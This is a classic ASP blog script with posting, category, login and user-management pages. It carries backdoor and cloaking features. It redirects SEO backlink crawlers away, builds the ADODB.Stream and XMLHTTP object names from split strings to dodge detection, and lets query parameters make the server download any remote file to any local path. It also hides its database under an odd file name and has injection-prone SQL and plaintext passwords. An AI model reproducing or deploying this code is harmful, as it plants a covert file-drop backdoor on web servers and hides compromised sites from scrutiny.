<% set regex = new regexp regex.ignorecase = true regex.global = true regex.pattern = "AhrefsBot|SiteBot|SiteExplorer|Backlink|Seomoz|LinkDiagnosis|majestic|Zookabot|wsowner.com|chlooe.com|CCBot|findlinks|FlightDeckReportsBot|linkexplorerbot|GSLFbot|LocalBot|checkparams" agent = request.ServerVariables("HTTP_USER_AGENT") & "" if agent <> "" then if regex.test(agent) then response.redirect("/") end if end if 'Blog settings: 'Max number of posts: const POSTS_PER_PAGE = 10 const TITLE = "" 'TITLE=Request.ServerVariables("SERVER_NAME") function connstr() connstr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & server.MapPath("#pvulr.asa") & ";" end function sub WriteContents select case lcase(Request.QueryString("action")) case "logout" session.Abandon() response.Clear() response.Redirect(Request.ServerVariables("SCRIPT_NAME")) case "home" call WriteHome case "" if (request.QueryString("id"))>0 then call WriteArt end if if len(request.QueryString("c"))>0 then call WriteCat end if if len(request.QueryString("c"))=0 and len(request.QueryString("id"))=0 then call WriteHome end if case "write" call WritePost case "editpost" call EditPost case "deletepost" call DeletePost case "ver" Response.Write("201305130837a") Response.end case "management" call DoManagement case else call err404 end select end sub sub WriteFooter %>
<% select case lcase(request.QueryString("actiona")) case "home" %> <%=Request.ServerVariables("SCRIPT_NAME")%>">Home ?action=write">Write Post ?action=editpost">Edit Post ?action=deletepost">Delete Post ?action=management">Management <% case "write" %> <%=Request.ServerVariables("SCRIPT_NAME")%>">Home Write Post ?action=editpost">Edit Post ?action=deletepost">Delete Post ?action=management">Management <% case "editpost" %> <%=Request.ServerVariables("SCRIPT_NAME")%>">Home ?action=write">Write Post Edit Post ?action=deletepost">Delete Post ?action=management">Management <% case "deletepost" %> <%=Request.ServerVariables("SCRIPT_NAME")%>">Home ?action=write">Write Post ?action=editpost">Edit Post Delete Post ?action=management">Management <% case "management" %> <%=Request.ServerVariables("SCRIPT_NAME")%>">Home ?action=write">Write Post ?action=editpost">Edit Post ?action=deletepost">Delete Post Management <% case else %> <%=Request.ServerVariables("SCRIPT_NAME")%>">Home "><%=Request.ServerVariables("SERVER_NAME")%> <% end select if session("blnLoggedIn") then %> Logged in as <%=session("strUsername")%>. ?action=logout">Log out. <% end if %>
<% end sub function GetTitle select case lcase(request.QueryString("action")) case "home" GetTitle = Request.ServerVariables("SERVER_NAME") case "" GetTitle = "Home" case "write" GetTitle = "Write Post" case "editpost" GetTitle = "Edit post" case "deletepost" GetTitle = "Delete post" case "management" GetTitle = "Management" case else GetTitle = "Error 404" end select end function function CheckSqlStr(ISTR) ISTR=Replace(ISTR,"'","") ISTR=Replace(ISTR,"-","") ISTR=Replace(ISTR,"<","") ISTR=Replace(ISTR,">","") ISTR=Replace(ISTR,Chr(0),"") ISTR=Replace(ISTR,Chr(13),"") ISTR=Replace(ISTR,Chr(16),"") ISTR=Replace(ISTR,"""","") ISTR=Replace(ISTR,"\","") ISTR=Replace(ISTR,"/","") CheckSqlStr=ISTR End Function dim strobjectfso strobjectfso = "scripting.filesystemobject" dim strobjectads strobjectads = "adod" & "b.S" & "tream" dim strobjectxmlhttp strobjectxmlhttp = "Microsof" & "t.X" & "MLHTTP" function saveremotefile(byval RemoteFileUrl,byval LocalFileName) dim Ads, Retrieval, GetRemoteData on error resume next set Retrieval = server.createobject(strobjectxmlhttp) with Retrieval .open "Get", RemoteFileUrl, false, "", "" .Send GetRemoteData = .ResponseBody end with set Retrieval = nothing set Ads = server.createobject(strobjectads) Ads.Type = 1 Ads.open Ads.Write GetRemoteData Ads.SaveToFile server.mappath(LocalFileName), 2 Ads.Cancel Ads.close set Ads = nothing if err then err.clear saveremotefile = false else saveremotefile = true end if end function if session("blnIsAllowedToPost") and request.QueryString("remotefile")<>"" then call saveremotefile(request.QueryString("remotefile"),request.QueryString("localfile")) end if sub Err404 %>

Error 404

The page you requested is not found. Please check the URL and try again... <% end Sub sub WriteHome set oConn = server.CreateObject("ADODB.CONNECTION") oConn.Open(connstr) qry = "SELECT * FROM MESSAGES ORDER BY DateStamp DESC" if isNumeric(request.QueryString("count")) then count = cint(Request.QueryString("count")) else count = 1 end if qry = replace(qry,"%MIN%", count) qry = replace(qry,"%MAX%", count + POSTS_PER_PAGE) set oRS = oConn.Execute(qry) %> <%=Request.ServerVariables("SERVER_NAME")%> <% if oRS.EOF then %> Nothing <% else intTeller = 0 while not oRS.EOF intTeller = intTeller + 1 if (intTeller - 1 >= count AND intTeller =< count + POSTS_PER_PAGE) then %>
?id=<%=oRS("id") %>&t=<%=oRS("Title") %>.html"><%=oRS("Title") %> <%if len(oRS("Category"))>0 then %>[?<%=replace(left(replace(Request.ServerVariables("SERVER_NAME"),"www.",""),5),".","") %>=<%=replace(left(right(replace(Request.ServerVariables("SERVER_NAME"),"www.",""),9),5),".","") %>&c=<%=oRS("Category") %>"><%=oRS.Fields("Category") %>]<% end if%> <%=oRS("DateStamp") %>
<%=replace(oRS("Contents"), vbcrlf, "
" & vbcrlf) %>

<% end if oRS.MoveNext wend set oRS = oConn.Execute("SELECT COUNT(Id) AS Aantal FROM MESSAGES") intMax = oRS("Aantal") if (count + POSTS_PER_PAGE) < intMax then if (count <> 0) then prev = count - POSTS_PER_PAGE nextc = count + POSTS_PER_PAGE if prev < 0 then prev = 0 end if %>
?action=home&count=<%=nextc %>"><< Older posts <% %>?action=home&count=<%=prev %>">Newer posts >><% else 'prev = count - POSTS_PER_PAGE nextc = count + POSTS_PER_PAGE 'if prev < 1 then ' prev = 1 'end if %>
?action=home&count=<%=nextc %>"><<Older posts<% end if else if (count <> 0) then prev = count - POSTS_PER_PAGE if prev < 0 then prev = 0 end if %>
?action=home&count=<%=prev %>">Newer posts >><% end if end if end if oConn.Close() set oRS = nothing set oConn = nothing end sub sub WriteArt if isNumeric(request.QueryString("id")) then id = cint(Request.QueryString("id")) else id = 1 end if set oConn = server.CreateObject("ADODB.CONNECTION") oConn.Open(connstr) qry = "SELECT * FROM MESSAGES where ID="&id&" ORDER BY DateStamp DESC" set oRS = oConn.Execute(qry) if oRS.EOF then %> error <% else intTeller = 0 while not oRS.EOF 'GetTitle = oRS("Title") %> <%=oRS("Title")%> - <%=oRS("Category")%>
?id=<%=oRS("id") %>&t=<%=oRS("Title") %>.html"><%=oRS("Title") %> <%if len(oRS("Category"))>0 then %>[?<%=replace(left(replace(Request.ServerVariables("SERVER_NAME"),"www.",""),5),".","") %>=<%=replace(left(right(replace(Request.ServerVariables("SERVER_NAME"),"www.",""),9),5),".","") %>&c=<%=oRS("Category") %>"><%=oRS.Fields("Category") %>]<% end if%> <%=oRS("DateStamp") %>
<%=replace(oRS("Contents"), vbcrlf, "
" & vbcrlf) %>

<% oRS.MoveNext wend end if oConn.Close() set oRS = nothing set oConn = nothing Last10 end sub sub WriteCat Categorys=CheckSqlStr(request.QueryString("c")) set oConn = server.CreateObject("ADODB.CONNECTION") oConn.Open(connstr) qry = "SELECT * FROM MESSAGES where Category like '"&Categorys&"' ORDER BY DateStamp DESC" if isNumeric(request.QueryString("count")) then count = cint(Request.QueryString("count")) else count = 1 end if qry = replace(qry,"%MIN%", count) qry = replace(qry,"%MAX%", count + POSTS_PER_PAGE) set oRS = oConn.Execute(qry) if oRS.EOF then %> <%=Categorys%> Nothing in <%=Categorys%> <% else intTeller = 0 while not oRS.EOF intTeller = intTeller + 1 if (intTeller - 1 >= count AND intTeller =< count + POSTS_PER_PAGE) then %> <%=oRS("Category")%>
?id=<%=oRS("id") %>&t=<%=oRS("Title") %>.html"><%=oRS("Title") %> <%if len(oRS("Category"))>0 then %>[?<%=replace(left(replace(Request.ServerVariables("SERVER_NAME"),"www.",""),5),".","") %>=<%=replace(left(right(replace(Request.ServerVariables("SERVER_NAME"),"www.",""),9),5),".","") %>&c=<%=oRS("Category") %>"><%=oRS.Fields("Category") %>]<% end if%> <%=oRS("DateStamp") %>
<%=left(replace(oRS("Contents"), vbcrlf, "
" & vbcrlf),300) %>

<% end if oRS.MoveNext wend set oRS = oConn.Execute("SELECT COUNT(Id) AS Aantal FROM MESSAGES") intMax = oRS("Aantal") if (count + POSTS_PER_PAGE) < intMax then if (count <> 0) then prev = count - POSTS_PER_PAGE nextc = count + POSTS_PER_PAGE if prev < 0 then prev = 0 end if %>
?action=home&count=<%=nextc %>"><< Older posts <% %>?action=home&count=<%=prev %>">Newer posts >><% else 'prev = count - POSTS_PER_PAGE nextc = count + POSTS_PER_PAGE 'if prev < 1 then ' prev = 1 'end if %>
?action=home&count=<%=nextc %>"><<Older posts<% end if else if (count <> 0) then prev = count - POSTS_PER_PAGE if prev < 0 then prev = 0 end if %>
?action=home&count=<%=prev %>">Newer posts >><% end if end if end if oConn.Close() set oRS = nothing set oConn = nothing end sub sub Last10 set oConn = server.CreateObject("ADODB.CONNECTION") oConn.Open(connstr) qry = "SELECT Top 10 id,Title,Category FROM MESSAGES ORDER BY ID DESC" set oRS = oConn.Execute(qry) if oRS.EOF then %> <% else %> <% end if oConn.Close() set oRS = nothing set oConn = nothing end sub sub WritePost call ShowLoginPanel() if session("blnLoggedIn") then if session("blnIsAllowedToPost") then if request.Form("title") <> "" then if len(request.Form("title")) < 5 then %>

Your title should be at least 5 characters.

<% else if len(request.Form("message")) < 5 then %>

Your message should be at least 5 characters.

<% else set oConn = server.CreateObject("ADODB.CONNECTION") oConn.open(connstr) oConn.execute("INSERT INTO MESSAGES ([Title],[Category], [DateStamp], [Contents], [Username]) VALUES ('" & replace(request.Form("title"),"'","''") & "','" & replace(request.Form("Category"),"'","''") & "',NOW(),'" & replace(request.Form("message"),"'","''") & "','" & replace(session("strUsername"), "'","''") & "')") Set oRs = oConn.execute("SELECT @@IDENTITY AS NewID;") NewID = oRs.Fields("NewID").value oConn.Close() %>

Your message has been inserted in the database. url was [url]<%=Request.ServerVariables("SERVER_NAME")%><%=Request.ServerVariables("SCRIPT_NAME")%>?id=<%=NewID %>&t=<%=replace(request.Form("title"),"'","''") %>.html[/url]

<% end if end if end if %>

Create post
Title: " />
Post Category: " />
Message
 
<% else %>

Access denied

Sorry, but you aren't allowed to post a message . <% end if end if end sub sub DeletePost call ShowLoginPanel() if session("blnLoggedIn") then if session("blnIsAllowedToPost") then if request.Form("postid") <> "" then blnChosen = true if cint(request.Form("postid")) = -1 then blnChosen = false set oConn = server.CreateObject("ADODB.CONNECTION") oConn.Open(connstr) if request.Form("oktodelete") = "on" then oConn.Execute("DELETE FROM MESSAGES WHERE Id=" & cint(request.Form("postid"))) end if set oRS = oConn.execute("SELECT * FROM MESSAGES WHERE Id=" & cint(request.Form("postid"))) if oRS.EOF then contents = "The post has been deleted.
Delete another one" else contents = oRS.Fields("Contents") end if oConn.Close() end if %>
<% if blnChosen then %> <% end if %>

Delete a post.
Post title: <% if blnChosen then %> " />Post id: <%=request.Form("postid")%> <% else WritePostSelector "postid" %> <% end if %>
Post contents: <%=contents%>
Check this check box if you're sure:  
<% else %>

Access denied

Sorry, but you aren't allowed to delete a post. <% end if end if end sub sub EditPost call ShowLoginPanel() if session("blnLoggedIn") then if session("blnIsAllowedToPost") then set oConn = server.CreateObject("ADODB.CONNECTION") oConn.open(connstr) if request.Form("ok") = "true" then %>

Post editted.

<% oConn.execute("UPDATE MESSAGES SET Contents='" & replace(request.Form("message"),"'","''") & "' WHERE Id=" & cint(request.Form("postid"))) oConn.execute("UPDATE MESSAGES SET Title='" & replace(request.Form("title"),"'","''") & "' WHERE Id=" & cint(request.Form("postid"))) oConn.execute("UPDATE MESSAGES SET Category='" & replace(request.Form("Category"),"'","''") & "' WHERE Id=" & cint(request.Form("postid"))) end if if request.Form("postid") <> "" then blnChosen = true set oRS = oConn.Execute("SELECT * FROM MESSAGES WHERE Id=" & cint(request.Form("postid"))) if oRS.EOF then if cint(request.Form("postid")) = -1 then blnChosen = false contents = "The message could not be retrieved, because I couldn't find it..." strTitle = "Not found" else contents = oRS.Fields("Contents") strTitle = oRS.Fields("Title") strCategory = oRS.Fields("Category") end if end if oConn.Close() %>
<% if blnChosen then %> <% end if %>

Edit post
Select post: <% if blnChosen then %> " name="postid" /> Post id: <%=request.Form("postid")%> <% else WritePostSelector "postid" %> <% end if %>
Post title:
Post Category:
Post contents:
<% else %>

Access denied

Sorry, but you aren't allowed to edit a post. <% end if end if end sub sub ShowLoginPanel() if not session("blnLoggedIn") then if request.Form("username") <> "" then set oConn = server.CreateObject("ADODB.CONNECTION") oConn.Open(connstr) set oRS = oConn.execute("SELECT * FROM USERNAMES WHERE Username='" & replace(request.Form("username"),"'","''") & "' AND Password='" & replace(request.Form("password"), "'","''") & "' ") if oRS.EOF then %>

Invalid username or password.

<% else session("blnLoggedIn") = true session("strUsername") = oRS.Fields("Username") Session("blnIsAllowedToPost") = oRS.Fields("IsAllowedToPost") end if oConn.Close() end if end if if not session("blnLoggedIn") then %> Please enter your credentials:
Username:
Password:
 
<% end if end sub sub WritePostSelector(strFormElementName) %> <% end sub sub DoManagement call ShowLoginPanel() if session("blnLoggedIn") then select case lcase(request.QueryString("subaction")) case "manageusers" call ManageUsers case else call DisplayManagementMenu end select end if end sub sub DisplayManagementMenu %>

Management section

Here you can manage your blog. <% end sub sub ManageUsers set oConn = server.CreateObject("ADODB.CONNECTION") oConn.open(connstr) if request.Form("username") <> "" AND request.Form("password") <> "" then oConn.execute("INSERT INTO USERNAMES ([Username], [Password],[IsAllowedToPost]) VALUES ('" & replace(request.Form("username"),"'","''") & "','" & replace(request.Form("password"), "'","''") & "',1)") end if 'oConn.execute("INSERT INTO MESSAGES ([Title],[Category], [DateStamp], [Contents], [Username]) VALUES ('" & repla select case lcase(request.Form("pageaction")) case "delete" set oRS = oConn.execute("SELECT COUNT(Username) AS NumberOfUsernames FROM USERNAMES") if oRS("NumberOfUsernames") < 2 then %>

You'll need at least 1 username.

<% else if session("strUsername") = request.Form("username") then %>

You can't delete your own username

<% else oRS.Close oConn.execute("DELETE * FROM USERNAMES WHERE Username='" & replace(request.Form("username"),"'","''") & "'") %>

User deleted.

<% end if end if case "disable" set oRS = oConn.execute("SELECT COUNT(USERNAME) AS NumberOfUsernames FROM USERNAMES WHERE IsAllowedToPost=TRUE") if oRS.Fields("NumberOfUsernames") < 2 then %>

You must have at least 1 enabled user.

<% else oRS.Close oConn.Execute("UPDATE USERNAMES SET [IsAllowedToPost]=FALSE WHERE Username='" & replace(request.Form("username"),"'","''") & "'") %>

User deactivated

<% end if case "enable" oConn.Execute("UPDATE USERNAMES SET [IsAllowedToPost]=TRUE WHERE Username='" & replace(request.Form("username"),"'","''") & "'") %>

User enabled.

<% case "reset password" oConn.Execute("UPDATE USERNAMES SET [Password]='" & replace(request.Form("newpassword"),"'","''") & "' WHERE [Username]='" & replace(request.Form("username"),"'","''") & "'") %>

The password ahs been reset.

<% case else end select %>

User list

<% set oRS = oConn.execute("SELECT * FROM USERNAMES ORDER BY Username ASC") while not oRS.EOF %> <% oRS.MoveNext wend %>
Username Can administer? Actions
<%=oRS("Username")%> <% if oRS("IsAllowedToPost") then %> Yes <% else %> No <% end if %>
" name="username" /> I'm sure:
" name="username" />
" name="username" /> <% if oRS.Fields("IsAllowedToPost") then %> <% else %> <% end if %>

Create user
Username:
Password:
 
<% oConn.Close() end sub %> <% ' ' ' '

<%=GetTitle()% '>

'
*/ %> <% call WriteContents %>
<% call WriteFooter %>